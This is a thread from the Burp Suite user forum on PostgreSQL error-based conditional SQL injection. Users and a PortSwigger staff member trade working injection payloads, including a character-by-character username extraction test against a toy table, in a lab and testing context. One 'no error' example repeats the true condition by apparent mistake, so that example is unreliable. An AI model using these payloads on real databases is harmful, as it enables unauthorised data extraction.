Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

PostgreSQL Conditional Error Cheat Sheet

Christian | Last updated: Jun 17, 2022 10:47AM UTC

I have been seeing different PostgreSQL error-based SQL injections lately (both in labs and in the wild) that cannot be correctly exploited with the following payload (found here: https://portswigger.net/web-security/sql-injection/cheat-sheet): SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END I am seeing that the "cast(1/0 as text)" executes independently of the condition being TRUE or FALSE. I guess that is because the way Postgres parses the query string, so it cannot be used to retrieve contents from the database, as it will always return the same error. In my case, I have changed this type of injections to follow this "template": SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE 1 END Which works correctly; It only raises the error when the condition is TRUE. I don't know if this depends on the PostgreSQL version or the injection context (I have tried this in the WHERE and ORDER BY clauses). If it has been happening to more people, maybe it would be a good idea to update the cheat sheet. Thanks!

Liam, PortSwigger Agent | Last updated: Jun 17, 2022 01:26PM UTC

Thanks for your message, Christian. I've passed on your thoughts to our research team. Please let us know if you need any further assistance.

Gareth | Last updated: Jun 20, 2022 08:08AM UTC

Hi Christian We've tested the examples on multiple versions of Postgres and it does work however the context in which you are in is important, if you cast the incorrect type from the when statement then it will always fail. For example if you're in a unquoted WHERE statement you'd need to use the integer type: #division by 1 error SELECT * FROM test WHERE id = 1 OR 1 = (SELECT CASE WHEN (1=1) THEN cast(1/0 as integer) ELSE NULL END) #no error SELECT * FROM test WHERE id = 1 OR 1 = (SELECT CASE WHEN (0=1) THEN cast(1/0 as integer) ELSE NULL END) If you're in a quoted string context then you'd need to return the text type: #division by 1 error SELECT * FROM test WHERE username LIKE '%test%' OR ''=(SELECT CASE WHEN (1=1) THEN cast(1/0 as text) ELSE NULL END)-- #no error SELECT * FROM test WHERE username LIKE '%test%' OR ''=(SELECT CASE WHEN (1=1) THEN cast(1/0 as text) ELSE NULL END)-- We can see how this would be confusing so we'll update the cheat sheet to enforce a consistent context. Thanks

Mike | Last updated: Oct 06, 2022 08:05AM UTC

Thanks for this! I'm not sure the cheat sheet got updated though!

Mike | Last updated: Oct 06, 2022 08:30AM UTC

Actually I am getting some issues with the second solution: Username = test ------------------------------------------------------------------------ Incorrect behaviour ##Incorrect behavior: This gives an div by zero error select * from test where id='1' and 1=(SELECT CASE WHEN (SUBSTRING(username, 1, 1)='a') THEN cast(1/0 as integer) ELSE '2' END from test where id='1') ##Incorrect behavior:: Query Error: error: operator does not exist: integer = text select * from test where id='1' and 1=(SELECT CASE WHEN (SUBSTRING(username, 1, 1)='a') THEN cast(1/0 as text) ELSE '2' END from test where id='1') ----------------------------------------------------------------------------Correct behavior #Correct Behavior - No error: select * from test where id='1' and 1=(SELECT CASE WHEN (SUBSTRING(username, 1, 1)='a') THEN 1/(SELECT 0) ELSE '2' END from test where id='1') #Correct behavior - error: select * from test where id='1' and 1=(SELECT CASE WHEN (SUBSTRING(username, 1, 1)='t') THEN 1/(SELECT 0) ELSE '2' END from test where id='1') Just been testing this out on db fiddle Schema: CREATE TABLE test ( id VARCHAR (50), username VARCHAR (50) ); INSERT INTO test VALUES ('1','test'); INSERT INTO test VALUES ('2','admin');

Liam, PortSwigger Agent | Last updated: Oct 06, 2022 10:09AM UTC